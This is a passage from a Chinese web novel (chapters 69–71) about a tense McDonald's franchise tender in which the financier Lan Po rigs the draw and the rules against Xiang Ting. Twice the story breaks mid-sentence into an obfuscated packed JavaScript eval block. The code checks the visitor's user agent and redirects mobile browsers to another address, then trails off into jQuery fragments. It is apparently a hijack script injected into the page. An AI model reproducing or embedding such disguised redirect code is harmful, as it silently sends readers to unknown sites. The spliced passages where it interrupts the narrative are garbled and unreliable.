“蓝?”等了好半晌,瓦克恩叫了他一声。 一对半大的小情侣在那儿耳鬓厮磨,瓦克恩可没空关注,眼下他只在意一个蓝珀。老是被蓝珀无视,瓦克恩忍不住向他看了又看。蓝珀像一幅静物画,好像他的那点能量都不足以供给血液的流动了。 蓝珀终于不再向窗外看了,只将手伸直了把在方向盘上,手指无声地慢慢敲着,半晌才说:“你先下去,我想一个人待着。” 项廷整整一周没来找他,电话、短信,什么都没有,这个人就像凭空消失了。 再次相见时,他当着自己的面,谈起了恋爱。 蓝珀的车窗缓缓合上的那一刻,他并没看见,项廷大功告成,把那管鞋油还给了门童。鞋油染头,这就是他想出来的招。 69. 嚼破微酸带浅颦 瓦克恩刚下车,迎面又来一位贵宾。这些车行进的排场真有点像马队游行,王室的特勤们就像一支驱逐舰队,把费曼的领袖一号团团护卫在中间。 冷峻的外表使费曼看起来比实际身高还要高,略显苍白的皮肤正说明他出身大英苦寒之地。 可能是对瓦克恩一大清早从蓝珀的车上下来,感到一抹困惑的色彩,费曼路过车头的时候,脸上一无表情,目光却着实停了一下。今天下的是太阳雨,照理来说,费曼这般看上去就极怕日晒的人,素日绝不会在阳光底下逗留这么久。 狭路相逢。瓦克恩寒暄了一句,竟也没有走的意思。你不走我不走,于是理论上两个今天话语权最大的男人,就顶着斜风细雨挨着蓝珀的车聊了起来。 刨去生意场上的关系,也算半个相识,周末大家还一块打了高尔夫。瓦克恩一个掌舵商业巨轮的人,才几眼就看出很多东西。比如首先蓝珀的状态真是不太好,他一杆打进棕榈丛,把球打出来,接着又不慎打进球道的木障上,没进轻打区,击了个长球,又轻打了两下勉勉强强才进洞的。球打得只有形体的层面上好看,定点甩头,模特似的。而费曼的表现更是让人大跌眼镜,嘎吱一声,一两码的推杆竟然打得又直又远,操作丑陋得瓦克恩眼睛疼。球童跑过去捡,松鼠已叼走了费曼的球。此情此景之下,生意人做事可由不得多率性吧,瓦克恩意外地打了一个好球以后忙收手了,拿着球杆像拖着一条咸鱼。球场的核心科技尽在这了。好在后来来了几个老实人,都是与高盛没有那般紧密利益联系的两院议员。伯尼笑道你们玩得不尽兴,全是被演技和剧本所拖累。说出了瓦克恩塞到嗓子眼的话。蓝珀去游池边上闲坐慢酌,没一会就靠着廊柱睡着了。所有人这才正常竞技。但当伯尼提起蓝珀有个已能坐姿挥杆的娃到了美国,期待下次绿茵场上一睹英姿时,费曼也不玩了。本该是一场皆大欢喜的运动,席竟早早散了,尴尬的瓦克恩对仅剩的球伴伯尼话里有话地说,你的杆还真不错!伯尼自喜道,这是一个中国男孩送的李小龙限定杆,拿着它我双截棍都想耍起来。对了招标会我也来,收了别人的礼,力所能及的事情该多帮忙。 想到伯尼伯尼就到。伯尼那副兴致勃勃、走过来扬着下巴的派头,瓦克恩就烦透了。两人原是西北大学的校友,老同学见面就是这样,混得越好的人话越多,混得不好的人越沉默。瓦克恩偏偏又是一个特别拧巴的人,在意别人对自己的看法,非要当个好人,应付来应付去。后来年纪大了包袱少了,一次聚会后干脆把伯尼从通讯录里删除,在删掉他的那一刻,从天灵盖到小拇指都舒服了。 不同于瓦克恩深陷辱黑风波,伯尼最近在团结少数族群的课题上春风得意,红利吃满。前不久民间拉票活动中拿下了韩国城,下一个目标无疑是唐人街,他剑指百万在美亚裔,项廷就是他相中的X世代抓手。所以一看伯尼就是来给龙凤呈祥站台,扶项廷上位的。即便他没有投票权。 瓦克恩担心伯尼又语出惊人把自己的投资人给招惹了,脸上一丝笑意都没有地客气道:“稀客啊!” 侧身拉了一个架势要把伯尼请走,伯尼却已经开始哄抬项廷了。 瓦克恩听着脸色愈发不好,因为蓝珀忽起忽落的态度,他不确定蓝珀心里属意花落谁家。费曼呢,也只是提过项廷的标书虽有亮点,但是粗糙,还要看现场讲标的表现。费曼说,太多的人,方案很美,呈现很差。 伯尼明人不说暗话:“礼拜一我负责清点了一次政府的文件夹,最近白宫也向报界透了点风声,无处不显示亚裔正发挥着广泛影响。所以想想,这不是一个纯粹的商业问题。如果你也像我一样,在亚裔群体里也有个把代表,说话不就更理直气壮了,路也会好走很多。” “不瞒你说,在某些方面我们的想法不尽相同。”瓦克恩很难不想到那个几十屉蒸笼的早茶,项廷擅搞群众包围领导,从下到上倒吃甘蔗,看来是吃出甜头了,“你简直无法相信,那个小子能使出什么样的鬼花招。” 伯尼表示无伤大雅,你有本事也可以装啊,年少轻狂不蛮正常么:“正是这份机智让他尤其擅长鼓动选民筹集资金。所以不论结果怎样,这个孩子我都会重点关注。” “关注什么?”蓝珀忽然发声了,“他是公鸡下蛋,好不容易要下蛋了,头一个蛋当然要是个大蛋吗?你终于盼到这一天了?” 伯尼经常攻讦银行,把蓝珀的大名挂在网站首页首屏的头图上辱骂,但私底下也算酒肉朋友,与费曼更是过从甚密,俨如编外的内阁大臣。伯尼从没听过蓝珀这样粗鲁地对他说话,好像一拳砸得他鼻青眼乌,一时假笑都笑不开了。而瓦克恩在旁悄悄用拳头抵住嘴,喉咙轻咳了一下。 “你们这么是在干什么?”蓝珀推车门,“这盘汤有你们三只苍蝇在里面游来游去好像花样游泳。” 瓦克恩忙让了,踩到伯尼。 “蓝。”费曼叫住他,始终方寸不乱的样子。 “你还活着?”蓝珀回了一下头,“我以为你王子病不治身亡了呢!” 蓝珀快步流星进了酒店,在富贵风流的气氛之中,他的步速未免有点唐突。但是一进场,更突兀的场景便闯进了他的视线。 众所周知项廷饭量大,蓝珀笑过他,这个吃相一看就成不了事。果然项廷今天吃了早饭出门,十点半他肚子就叫了。幸有珊珊,饭团分了他一半,蓝珀看到那半个饭团还不算完,只见她又投喂了他谷物棒,项廷这才不至于饿翻过去。没结束呢,再一眼又见项廷身边足足三个女眷,囊括老中青三代。层次分明,余地很大。 这年轻登对的小儿女一直背对着蓝珀,三个人的构图就像一幅讽刺插图。 所以就只有上完厕所回来的老赵,才第一个极远地瞧见了那个雪肤花貌的男人。蓝珀站在一株光彩曜日的湘妃红珊瑚树边,愈发不似个真人。 老赵震立当场,本这凡尔赛宫般的地方已让他抬不起头,这下更加觉己形秽。 项廷两口吞了,噎了,珊珊忙又给他递水。 突然秦凤英喊了一嗓子:“哟嗬,蓝总!” 秦凤英忙拽着女儿过去恭迎,见女儿不叫人,使劲攮了珊珊一肘子:“天天在家七个不服八个不忿的,到了外头见了贵人也不知道拜了!” 珊珊见过蓝珀,当时酒馆的光线几乎绝迹,蓝珀就已是如此那般地出尘绝俗了。今天他银耳钉银戒指银缠丝手镯,却让人眼睛被一股光照到了感觉到金灿灿的,流金溢彩。珊珊讷住了,但闻到头上淡淡的鞋油味,她下决心要把一个像模像样的秘书扮演好。 秦凤英赔着笑,急忙又拍女儿一下:“再不叫人顺窗我给你撇下去!” 珊珊:“叔叔好!” 扔完装饭团的塑料袋,项廷回这边来。老赵有点口吃:“你叔?” 好像因蓝珀太过漂亮体面,在角色上便很受局限似的。老赵一时联想不到别的社会关系,便沿用珊珊的叫法,也不论这位叔叔是如何地韶颜妙年。 打死老赵也不相信,他徒弟有个这样色儿的叔还出来端盘子,又岂知这是比叔更亲的姐夫。 “我叔。”项廷打心底不承认他们婚姻的合法性,把姐夫两字从他词典里剔除很久了,没纠正老赵,且问,“你来干嘛?” “这还用问!蓝总这气派这行头一看就是来当评委的呀。”秦凤英忙笑道,她当然不清楚麦当劳和高盛假股真债的关系,只是顺嘴捧人,“咱们几个瞎了眼没在门那儿候着,项廷你这小子也太藏私了,怎么不提前通风报信?做事可真不地道!” 项廷说:“我又没让他来开后门。” 秦凤英:“嚯,有后门还不好嘛,非得搞得千辛万苦呀。” “无论各行各业都是凭本事说话,竞标采用的是合理低价法,这个不用我解释吧,你应该很了解了。”蓝珀忽地想到,很久之前项廷找他的时候,打电话没人接,去办公室给拦驾,便说,“所以就算你找过我走后门,临近开标的封闭期间我一般是不见人的。” “我上哪找你了,”项廷看着他,疑惑道,“你没睡醒吧?” 秦凤英忙拽住他小声说:“这么好的机会你都不好好把握,过了这个村就没这个店了!” 项廷谁的面子都不给,径直就要去后台准备。 两人擦身而过时,毛料西服在干燥无比的空气中响起咝咝静电的声音。 蓝珀不禁出了声:“一个礼拜了你都在做什么?” “有一个礼拜吗,”项廷说,“吃吃喝喝睡睡玩玩就过去了。” 沙曼莎找到了会场里的蓝珀,递了一张重要文件。蓝珀却下意识地摆弄手里的那张传真,卷成一个筒,放开,再卷,卷了又放,油墨都糊了,才对项廷说:“你没什么话对我说吗?” “没。” “真的没有?” “我跟你能有什么好说的?” “无话可说?你是在说笑话吗?”慢是一切美的开始,快就没有美了,最深谙其道的蓝珀这几句却一句急似一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398256|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让开。” “项廷,”蓝珀微微一笑,“我本来是要给你开后门的。你记住本来这件事情。” 秦凤英看他俩矛对矛似的,就不可能凑过来。但这时珊珊却来把剩下的半个饭团也塞到了项廷手上。 沙曼莎催蓝珀走了,竟然还叫了他一声boss。要知道沙曼莎平常喊他NAC,not a clue,说蓝珀白痴。兴许因为前阵蓝珀差点辞职成功,沙曼莎忽想起他平日的好来,她在蓝珀手底下加过十三次薪从没加过一天班。也或许听闻蓝珀这一周每天除了看书就是发呆,竟什么迷信也不搞了,一副真有病了活不起了的样子,沙曼莎决定对他展开临终关怀。 沙曼莎把他手上被蹂躏得不成样子的文件抽走,蓝珀才回过魂来似的,淡而无味地笑了笑,说:“好,那叔叔就祝你,立业成家,双喜临门。” 项廷找了个主机,调试投影设备时,眼前还挥之不去刚才蓝珀的模样。项廷怕自己动摇,没敢多看他,但能感到蓝珀是不是有点不开心?不然他为什么两颊微鼓着,像被太阳烘烤过的棉花糖。项廷赶紧把这个念头从脑子里甩出去。 全是一个006搞的。这些天他一出门就被人盯梢,他走进电话亭,从口袋里摸出一枚硬币,装作投币拨号,却透过磨砂玻璃好好观察这帮跟屁虫,可以确定,至少三个。项廷街头生存智慧十足,压根不怕那些试图将他拉回黑暗的手,但身边的人竟也屡屡有被害的迹象。小侄子食物中毒,姐姐的飞机下降时遇气流颠簸,到了康州七人受伤送院,跟他八棍子撂不着的白希利都遭了绑架。 项廷洗了一把脸,看向镜子里的自己,忽觉这个人很无能。没能力保护好蓝珀,只能先划一道楚河汉界。跟蓝珀解释吗,一两句话解释不清,他知道越多怕越坏事。况且大丈夫一生行事何需向尔等解释,大禹治水尚三过家门而不入,这不才七天?项廷立志过上绝世剑客的生活,当下一心只有两个字,奋斗,男人没钱还叫男人吗,他要让蓝珀早日当上地主婆。 擦干脸,希望频频发生的祸事全是巧合,可又不信这全是巧合,老天安排这种巧合图什么? 姐姐和侄子不好说,反正白希利图的是一个关注。他发现自从项廷有了点钱开始,就开始不把自己当回事了,白希利扬言再这样兄弟会要开除你项廷,项廷说求开除。于是自导自演了一场绑架,项廷说没钱赎,找了白谟玺。白谟玺失恋在家喝酒,醉生梦死,没空。最后白希利由八名绑匪八抬运送回家,一进门只听他哥的恋爱心得与自己何其相似乃尔。白谟玺追忆蓝珀刚来美国那会儿,赤贫,却是多么地柔顺乖巧,随拿随捏。白希利再要取经,白谟玺已是泪人,再不能言。又惊悉项廷周四竞标,男人有钱就变坏,这个钱白希利更是无论如何不会让他赚到了! 蓝珀登上剧院般的二楼高台,俯视大厅里的一对璧人,花季雨季的少男少女,走到哪里都好景成双。 就在此时他忽看见,就他刚刚站过的那株大红珊瑚树,动了。 白希利从盆栽里冒出个头来,见侍者路过,忙缩回去。人越来越多,没人注意一棵树滴滴摸摸地又朝后台挪了好几米。 沙曼莎吓了一跳,忙要找安保。 “不要管。”蓝珀却说,“我就喜欢有人捣乱,越乱越好,就由着他搞砸一切吧,好吗?” “这样好吗?”沙曼莎眼睁睁地看着白希利消失了,像沙漠里的蚁狮咻的一声钻进了沙子里。 蓝珀说:“可我就是这样,有一点看不上,就要把他碾到地心。” 沙曼莎不明所以地转头看着她老板,蓝珀口脂含香的嘴唇,视人犹芥地一笑:“叫瓦克恩过来。” 万人之上的集团总裁瓦克恩,有时候真的很想大喊救命。因为自己的一帮高层还随侍左右,蓝珀叫他来的第一句就是:“你还欠我好多钱,对吧?” 冰上香槟的蒸汽,像云雾一样弥漫。蓝珀说:“现在银行的日子不好过,我就像一个奶水不够的母亲,可到处都是要奶的孩子,不给奶就闹,我疲于奔命。” 瓦克恩静态了一会,禅意十足,除了背上的汗汇聚成股:“蓝,你到底想怎么样?” “不想怎么样。只是现在的竞标规则,让我觉得,有点没意思罢了。” “那你要怎么来?” “怎么让他有来无回,就怎么来,”蓝珀接过侍者捧来的半甜型香槟,既然毒药非喝不可,干脆一饮而尽,宣布这段畸形的关系走到尽头,“我要玩死他。” 70. 生睚厌厌相思恨 蓝珀说:“别怕,很简单。首先把价格分压到30分,尽可能挤压小厂的报价空间。然后再来点客观分,大概20分左右。前三名的厂商基本都能拿到,后面的就得损失至少50%,尤其是小作坊,亏个干净。最后,细化主观评分标准,给专家们一个清晰的方向,确保他们不会走眼。” 瓦克恩脸色变了好几遍。 竞标当然应该严格按照标准流程来。虽然外部投标大多数时候功夫落在标书之外,可瓦克恩自上任后,他亲自督导采购部门,绝不能使美色贿赂金钱交易等小手段,放言任何人要中标,只能靠实力。 然而今天的他平复了一下心境,便把财务部经理、商务合约部经理叫了过来。即便没有具体的指示,似乎只是一个形式发文,可那两人跟着他多年,一点即通,领了命令立刻出去张罗了。但是刚一出门都互看:总裁身上酒味不重啊,怎么感觉他至少小微醺呢? 法务部听说了,赶来死谏,说两个字看了蓝珀三四眼。蓝珀说:“别跟我谈流程是否合规,那是你的事情。” 律师退了,众人也四下散开。蓝珀点燃一支烟,示意瓦克恩坐下:“时间还早,聊聊。” 但瓦克恩心里有气,能有好话吗。他这个总裁算什么,当得一点意思都没有,拜托蓝珀赶紧告到董事会,看他不顺眼就把他撤了吧!倒在沙发里,疲倦地闭上眼睛。 心里堵的不止是瓦克恩,高跟鞋一串咚咚响,然后嗄哒一声身后的门响了。 蓝珀不用看,就知道是沙曼莎溜走了。 瓦克恩回头看了一眼:“你秘书去哪了?” “还能去哪呢,”蓝珀微笑不改,“报官去了。” 招标会的地点一改再改,最早的通知上说多功能会议室,现场辗转路演厅,现在又说各位来宾请到五十七楼的展览中心——那儿一般是开拍卖会的地方。 等电梯的时候,沙曼莎果然引着官老爷费曼来了。 蓝珀已经进电梯了,沙曼莎着急地大叫一声:“蓝!” 她以为费曼要怒斥蓝珀,哪有这样临时变卦的?上古既无世所未见。如果都像蓝珀这样撒娇撒泼就能特事特办,高盛将被钉在投后管理界的耻辱柱上,这会是她一辈子的职业污点。而且这个项目又这么大,各路英雄都在关注着,不可能有人只手遮天的吧? 哪里想到费曼连责问的口气都没有,只是说:“你怎么了?” 蓝珀头一摇:“难受。” 电梯门合拢,费曼也没有非要挤进去。但这时门又缓缓开了,蓝珀按着开门键,手要松不松。费曼看着他,两人都不语。 费曼忽对沙曼莎说:“你等下一班。” 沙曼莎惊怖其言:“那得等到明天了!那简直是等死!您看看这人海,尤其是那些摄影记者,电梯根本挤不下了……” 费曼说:“楼梯。” 偌大的电梯里只有他俩,费曼才说:“我们只是投资人,可以列席旁听,干预必须注意度。规则就是规则。” 蓝珀摸了摸鼻子,墙面的镜子里映着他不甚好看的笑脸:“第一个骗我的男人,你就别说话了,好吗?我现在发现你们嘴里没实话,几乎都是假话,或者大假话。要不是我也是男人,我要发毒誓远离世界上一切男人。” 费曼真状如冰雕,浑然没有任何反应给出来。 到了五十七楼,穿过一个挑高的中庭,其间摆放着一尊藏传佛教密宗大日如来的神像,因为隔壁好像在办法会,路过一队各种剃光脑袋的、披着袈裟的、捋着佛珠的、念着经文的和尚。费曼愈发地无一话可说。看蓝珀,总能感受到一种华梦覆灭,而带来的鬼气森森。 进了会场,大厅中央是一个宽阔的拍卖台。评委与观众席面向讲台,一色的真皮单人沙发,配小桌子。费曼和蓝珀坐在第一排中间,正中的位置留给了瓦克恩这个傀儡皇帝。其余便是一些年龄较大的董事,靠墙位置是外聘专家,大厅的两旁及后方都有深色玻璃的小包厢,那平常是为拍卖会的大买主所准备的空间。正对面的远端位置用三脚架架起了一部相机,天花板上的摄像头无死角全覆盖。看样子非常地公平、公正、公开。 蓝珀表扬会场负责人:“组织得还不错。” 负责人说:“您都重点关照了,我们岂敢怠慢。” 蓝珀说:“人都齐了,开始吧。” 负责人忙说:“会场突变,得再花点时间调度设备,确保万无一失……” 蓝珀的目光一直跟着那株贴墙移动的盆栽,费曼也不瞎。但是蓝珀让他帮自己倒杯咖啡的功夫,白希利便争气地不见了。 于是蓝珀笑道:“没关系,怎么好玩怎么来。” 白希利从小门悄悄来,收回缩骨术,伸头往里扫了一眼,满眼都是人,一时间很难判断项廷人呢。但是猛一下子蓝珀光明耀眼,白希利整个人晕眩,临到了后台大本营,走了反方向。这一幕亦没有躲过费曼的眼睛,蓝珀又让他去拿杯盲品香槟,身体倾向他说道,你看上什么,double一份给我就好。费曼回来了,可白希利那儿麻烦升级。秦凤英跟来宾一一打招呼并派发名片,聊着天一边往白希利的盆栽里倒了保温壶里烫杯子用的开水。蓝珀只能把她招过来,好像实在找不到什么共同语言,便说,总就免了,都是自己人,别这么客气。有个私人的问题,想问你,介意吗?也没什么,就是问问令爱有男朋友吗? 男朋友项廷一进门,便遭到全场注目的礼遇,一个人转头之后其他人就跟分身一样一一转头。 到场的厂商大多都站着,三个一群、五个一伙的,似乎都在叽叽喳喳地商量着什么。在美国开餐馆的华人多,但要说这个圈子的核心也是够小的,搞来搞去就那么几个龙头老大,一起开过几次会就都熟了。大家心里门清,表面上说凭实力竞争,能者居之,实际上到了今天,如果你不是麦当劳内定的中标人,基本上就是出局了。 本来是只要深圳龙的传人餐饮集团的代表没有缺席开标会,别人就只有当分母的份儿,凑凑热闹没事举几下到数字了就行了。谁知道半道突然杀出个项廷,项廷虽在纽约小有名气,可对来自休斯顿、波士顿等地的厂商来说是个完全陌生的存在。虽然要他这个点上翻过来,难度有如登天。但节骨眼儿上,任何风吹草动都不能大意。 “千万不要轻敌啊,这个项廷不是泛泛之辈,你看他一来,就立刻把咱们这个项目的水给搅浑了。” “行了,知道了,还有其他消息吗?” “哟,看,他来了!现在正进门的那个……” “我看也平平无奇嘛!” “真人不露相,露相不真人。” “看他这走路的姿势,我怎么就觉不出来他多厉害呢?难道他是有意在玩含蓄?故意在装深沉?” “我信你个冬瓜,一看也就那么回事。明明没戏还死乞白赖的,真不知道自己几斤几两,真想撞大运,可以去买彩票啊!” 负责主持的招标人拿起了话筒,中止了所有人的窃窃私语。 “评标委员会通知:抽签决定讲标顺序。接下来,请每家厂商各派一名代表跟我到会议室抽签。” 项廷跟着招标人走,这时有个腋下夹着公文包、腮帮子方得像嚼多了槟榔的平头大哥,找他搭讪,问他你跟秦凤英是一伙的?项廷忌讳交浅言深,说不是。大哥再问,项廷说我跟我自己一伙儿。大哥伸出手来,鄙人不才,龙的传人集团董事长兼总经理,刘华龙是也。又怂恿项廷,秦凤英女流之辈,不如咱们俩爷们强强联合,这单成不了但要不了一年,肯定帮你打个翻身仗。似乎很了解项廷他们,说老赵珊珊嘉宝等人更没做什么贡献啊,依我看,不都是你一个人在忙里忙外吗?他们凭什么躺着收钱啊?项廷充耳不闻。 他去抽签的时间,工作人员推来一车标书。车上摞着五个大纸箱子,每个纸箱里装着一套项廷精心制作的标书,每套长达500多页。厚重的标书把轮子都快压扁了,标书封口上鲜红的印记似乎还没干透,散发出墨香和胶水的味道。 费曼阅标无数,又是个做事极其缜密城府极深的人,往往不到最后表决的时候绝看不出他明确地偏向哪边,蓝珀还是第一次见到他评标还没开始,眉头微蹙的瞬间就暴露了他的内心。 蓝珀虽然要让项廷死,并且死相要很难看,他玩项廷,根本就没想过掩饰。但是费曼只是表情上一质疑,蓝珀就下意识给项廷找补:“至今为止我还没有见到过一本完美的标书,这不对那有问题,放大镜找都能扣分。我承认没有标杆案例的厂商会让人没有安全感,但是……” 费曼话没说,把标书给蓝珀,让他自己看。 第一眼蓝珀感受到的不是震撼而是恐怖,低下头去陪费曼沉默了一会儿,好一会才换成了窘迫忍笑的神情。 非政府招标,私企的商务标其实容错率很大,天怎么都塌不下来。但是如果投标人花了几百美元打印的标书,临场突然变成美国高中的考试卷,张张分数还都将近鸭蛋呢? 试卷上还有白希利的赫赫大名,看来他一生行事暗室不欺,他甚至都不愿意换成白纸或者卫生纸。 项廷没回来,蓝珀就把他的团队叫过来。秦凤英本就毫无团队精神,心说虽然失败的过程有些狗血,但终于可以把这事撂开了,只想面前这俩老总以后很难说得上话,热乎乎地握着费曼的手重重地摇了不少下。 蓝珀转而问向珊珊。珊珊攥着满是红叉的试卷:“我知道您觉得我在找借口,这件事我是秘书有责任,可我说的每一句话都是真的!” 蓝珀笑道:“那么秘书小姐,现在赶紧回家修改标书。不过快递是来不及了,我让我的秘书给你订机票,你从家里飞过来送?” 这话实在尖酸,但蓝珀的那种美又不是凛然的东西,它有时可以很婉约,甚至善解人意。珊珊感觉他是个好人。当费曼抬眼看了她一下的时候,她这才除了会哭,其他是问什么都不答了。女儿啼哭,秦凤英却依旧把这当欢场。老赵眼前一条一条地发白,想着这事不成了血癌的闺女也没活路了,面皮灰黑得像被烟火熏焦的田蛙。 项廷抽签回来,便见到队伍这一副溃不成军的样子。除了秦凤英还在卖力说笑,剩下三人竟都席地坐在讲台的台阶上,珊珊哭,老赵呆,嘉宝把费曼和蓝珀中间桌子上的茶点端走了,有吃有喝。 不及去振振士气,因为项廷这边的情况也没好多少。 他的签号是1,天胡开局。因为一般来说,越早进场就越有利。加盟麦当劳中国主要是看在当地关系吃不吃得开,开个连锁店就那么点事,难道技术有护城河吗。所以前一家公司讲的时候观众听着还有新鲜劲,后一家公司再讲,效果就会大打折扣,所谓的先入为主。 然而抽完签,工作人员才通知,今天讲标的时间由邀请函上的每家1小时,改为10分钟,5分钟演讲,5分钟互动答疑。 这样一来,局面完全反转。后面的还能调整讲稿,精简内容,第一个上场的哪有时间准备? “是你抽到了1号吗?”招标人的目光向项廷扫了过来。 “对。” “5分钟后,我们准时开始。” “等一下,”项廷说,“抽签有人做过手脚。” “嗯?”招标人说,“怎么可能?第三方公证处的人在场,你可不要随口胡说。” 公证人不在场,因为公证人就是伯尼,他都还没进来。因在中庭发现了满脸工伤抽烟半盒的瓦克恩,雕栏相望焉,可偏偏雨渐渐,伯尼却说风景真好看得真远啊。现在他还在外头说风凉话,传播焦虑第一人。 但是他的夫人戴莉在,忙上前去:“孩子,你说的,具体怎么回事?你慢慢说。” 项廷:“本来抽签是按到的顺序来的,我是第三个,结果接个电话,回来就变最后一个了。” 招标人:“这不是你自己的原因吗?而且第几个抽有那么重要吗?” 项廷:“问题是那电话对面什么声音都没有,耗了半分钟我才挂。等我回来,别人都抽完了,我只能拿最后一个。” 招标人:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398257|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可我听下来,觉得这也没什么问题啊。” 项廷:“一个突然改变的时长,一个莫名其妙的电话,一个意味着最吃亏的1号签,一个没有录像录音的抽签过程。所有这一切加起来,还不是有人在暗箱操作?” 招标人:“那你有什么证据吗?” 项廷:“接电话前我留意了下每个签的位置。有一个特别远,靠近桌尾。人抽签都喜欢选近的,那个远的就没人选,最后就剩给我了。” 这些都是他自己的一面之词,里面还有诸多的推理成分。没有录像,即使要查也是无据可查。招标人本不想理会,戴莉说:“他说的情况,麻烦你再去了解一下吧!” 招标人只能去请示蓝珀,但他没项廷去得快。 项廷几步迈上去:“你能主持公道吗?” 蓝珀今天一套俄蓝的单薄西装,一言一动却像穿了貂的贵妇。两根肌骨莹润的美丽手指捏着杯子把,轻轻地抿一小口咖啡,然后闭目体会:“不能。” 项廷说:“那你能别玩阴的吗?” 蓝珀说:“在公开场合,一切是公事,阴的公,阳的公,阴阳本不分家。” 磨嘴皮没用,项廷知道不应做纠缠。他想不到哪里又惹了蓝珀,但蓝珀素来就疯疯癫癫的,临床多发谵妄的症状。再者说了,生意场上的事跟私人感情无涉,落后就要挨打,刚好而已。但是蓝珀看着真的特别欠。就他那两张嘴,就该左一巴掌打出水,右一巴掌打出泪,是不是只有把他做成注心奶油蛋糕他才会消停一点? 戴莉劝道:“不要着急,伯尼快来了。” 蓝珀说:“谁来了你都可以随时弃标,不要紧的。” 项廷大马金刀往这一站,明眼人却都看出他有一种头朝下入土躺尸的感觉,这小子惹了资方还了得? 刘华龙在旁道:“放弃这一单吧,至少还能活。” 本已脱离集体的秦凤英,忽回击道:“好一个两面三刀醉翁之意啊!” 伯尼撵着瓦克恩来了。项廷刚照着两人的面,就问:“瓦总,请问今天这个会还有哪一条规则是没变的?” 瓦克恩看了看蓝珀,说:“我们将迎来一位十分特别的开标人。” 说得大家都笑了,这下坐实了项廷是在太岁头上动了土。 伯尼听说抽签有猫腻,主张就在大厅再抽一次。瓦克恩见项廷胆敢找茬蓝珀,对他多了一份突然涌来的亲切,默默支持。蓝珀呢,也大方,命人搬上来一个黑箱子,签在里面。 项廷正要抽,秦凤英忽然来了胜负欲似的,招呼道:“丫头你来抽,你最小,手气旺。” 所有人翘首以盼,只见珊珊把手伸进去,也许是紧张也许是自残过的手,肌无力,半天拿不出来。项廷急性子,手往里掏。两个人的手就这样在大庭广众之下蓝珀不可知的领域发生了量子纠缠。 重来一次,还是1号。 “还要玩吗,”蓝珀慢慢举起杯子,凑到唇边,又放下,嘴角轻微扯了一扯,眼里尽是笑容,跟脸上僵硬的肌肉不太相衬,“不要玩了,你给我滚,我可以私人弥补你亏损的那部分,一百万?两百万?” 瓦克恩扭头看他,愕然不解其故,因为听这话蓝珀更像玩不起的那个了。神经立即竖起,怎么一回事,他都错过什么了? 沙曼莎没想那么多,她巴不得让蓝珀出出血,自己出出气,忙问项廷:“你的银行账号?我现在打款。” 项廷说:“好,你记着。” 沙曼莎取出小本子,项廷却说:“用不着我报。你把箱子里的签全倒出来,1111111,就是我的账号。具体有几个1,你问你老板。” 既然全是一个数字,再抽一百次也是一样。项廷只是猜一下,蓝珀装都不装,直接承认。 珊珊说:“那、要么大家都再抽一次吧!” 蓝珀笑道:“他只说他重新抽,可没说带上其他人了吧?” 项廷说:“的确不关别人的事,你自己敢不敢过来抽?” 蓝珀双腿交叠着坐,金尊玉贵的体统,用银叉子一下一下轻敲瓷杯子,发出美妙乐音:“不好意思,走不了路。鞋带松了,帮我一下?” 可能是项廷一个人的问题,蓝珀明明一双尖楦的牛津鞋,素气得翼纹连雕花都没有,项廷却似乎幻视了短风衣丝袜长筒靴,连蓝珀搭在烟灰缸边缘,他含过的烟头上双唇的形状也逐渐清晰了起来。 “蓝,”费曼双手十指交叉,手肘撑在桌板,衬衫没有一点褶皱,透露出一种严整的威严,“你的个人情绪太泛滥了,你的工作做过了头。” 费曼用标准的德语对他说,没有当场当着所有人的面去下蓝珀的面子。 蓝珀却装听不懂,反而是对项廷说:“我的话有什么理解成本吗?” 可项廷难道真能跪下来给他系鞋带吗,握拳道:“1号就1号!” 秦凤英拦着他,不能受这个委屈:“咱不是1哈。” 项廷:“我就是1!” 他拧开一瓶矿泉水,咕噜灌了大半,揩了嘴就要上台。老赵想说徒弟,莫要冲动,老广人的他见此情貌,也想对蓝珀说,睡不好即易牙疼,得吃些粥水降火。可被蓝珀轻轻一看,骨头都松了。珊珊跑来,支支吾吾告诉他鸭蛋标书的事,项廷浑不在意,他反正脱稿。 讲台实际上是一个独立展示厅,中央玻璃空间,主讲人如同展示品一般被关在里面,被几百双眼睛同时围观。 摄像头齐刷刷对向了项廷。 “慢着。”蓝珀忽说,“你讲标,我准了?” 项廷是投标代理人,他不讲标谁讲标?蓝珀有一万种办法把他晾在台上让所有人笑话他,但是现在他改变主意,好像竟对这个男孩的丑态也生出了占有欲。 于是蓝珀就像那时的少女在泉边揪着花瓣一样:男孩会走、他不会走、会带我一起走…… 他如是对着面前的一排人,点兵点将,游戏尘凡。末了蓝珀的手指就停在这对小鸳鸯的中间,笑着对珊珊说:“你来替他。” 71. 你方唱罢我登场 会场一阵骚动。 “诸位,诸位!”招标人用槌子敲桌子,让大家肃静。 “上吧小姑娘,就不要谦虚了,大大地秀一把自己。”蓝珀很随和地说,声音很放松。 他显然是平时随意惯了,养成了许多不良好的工作习惯,但商业伙伴们一般只是腹诽他不守时,可还从没有人指责过他不守信用,哪怕他在收购的最后一秒钟终止了交易。排挤上市公司都是家常便饭,针对一下你个小丫头怎么了,就明摆着告诉你对人不对事,又怎么了? 更何况人还是中国人,三等公民!想要在他国生存,首先就必须为自己的国籍买单不是吗?似乎都忘了,蓝珀其实是在对一个本国人下手。 